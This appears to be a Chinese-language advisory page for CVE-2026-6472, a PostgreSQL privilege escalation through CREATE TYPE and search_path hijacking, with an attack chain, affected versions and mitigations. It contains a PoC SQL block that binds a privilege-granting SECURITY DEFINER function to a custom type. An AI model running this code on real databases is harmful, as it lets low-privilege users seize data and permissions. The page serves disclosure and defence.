IPBUF安全漏洞报告
English
CVE-2026-6472 CVSS 5.4 中危

CVE-2026-6472 PostgreSQL权限提升漏洞

披露日期: 2026-05-14
来源: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

漏洞信息

漏洞编号
CVE-2026-6472
漏洞类型
权限提升
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PostgreSQL

相关标签

PostgreSQL权限提升代码执行CVE-2026-6472数据库安全

漏洞概述

PostgreSQL在处理CREATE TYPE命令时存在授权缺失漏洞。攻击者可利用该漏洞,通过创建恶意的用户定义类型来劫持使用search_path的查询解析过程。当受害者执行相关查询时,将被迫调用攻击者定义的任意SQL函数,从而导致权限提升或数据泄露。该漏洞影响了多个PostgreSQL旧版本,建议用户尽快评估风险。

技术细节

该漏洞源于PostgreSQL在CREATE TYPE操作中未正确实施授权检查。PostgreSQL使用search_path机制来解析未限定的类型名称。攻击者可以创建一个与现有类型(包括扩展定义的类型)同名的自定义类型,并将该类型的输入或输出函数指向包含恶意代码的自定义函数。当其他用户(如管理员或具有更高权限的受害者)执行存储过程或查询时,如果这些查询依赖search_path且未指定模式限定,数据库引擎将解析到攻击者创建的恶意类型。这导致恶意函数在受害者的权限上下文中被执行,进而实现任意SQL代码执行。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获得数据库的低权限账户访问权。
STEP 2
步骤2:创建恶意对象
攻击者创建包含恶意SQL逻辑的函数,并利用CREATE TYPE创建一个关联该函数的自定义类型。
STEP 3
步骤3:劫持解析路径
利用search_path机制,使恶意类型名称优先于受害者预期的类型被解析。
STEP 4
步骤4:触发漏洞利用
高权限用户(受害者)执行依赖search_path的查询,导致数据库调用恶意类型并执行攻击者的代码。
STEP 5
步骤5:达成攻击目标
恶意代码以受害者权限运行,实现数据窃取、权限提升或数据破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- Step 1: Create a malicious function that executes arbitrary SQL CREATE OR REPLACE FUNCTION public.evil_type_in(cstring) RETURNS int4 AS $$ BEGIN -- Example malicious action: Grant privileges to attacker EXECUTE 'GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO attacker'; RETURN 1; END; $$ LANGUAGE plpgsql SECURITY DEFINER; -- Step 2: Create a type that uses the malicious function -- Assuming the victim looks for a type that resolves via search_path CREATE TYPE public.hijacked_type ( INPUT = public.evil_type_in, OUTPUT = int4out, RECEIVE = int4recv, SEND = int4send, INTERNALLENGTH = 4, PASSEDBYVALUE, ALIGNMENT = int4_align, STORAGE = plain ); -- Step 3: Wait for victim to execute a query that implicitly uses this type -- e.g., a function or query that casts to 'hijacked_type' via search_path

影响范围

PostgreSQL < 18.4
PostgreSQL < 17.10
PostgreSQL < 16.14
PostgreSQL < 15.18
PostgreSQL < 14.23

防御指南

临时缓解措施
临时缓解措施包括在所有SQL查询中显式使用模式限定名(例如 schema.type)以防止search_path劫持。此外,数据库管理员应撤销不受信任用户在public模式上的CREATE权限,并审计现有的用户定义类型以确保没有恶意对象存在。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表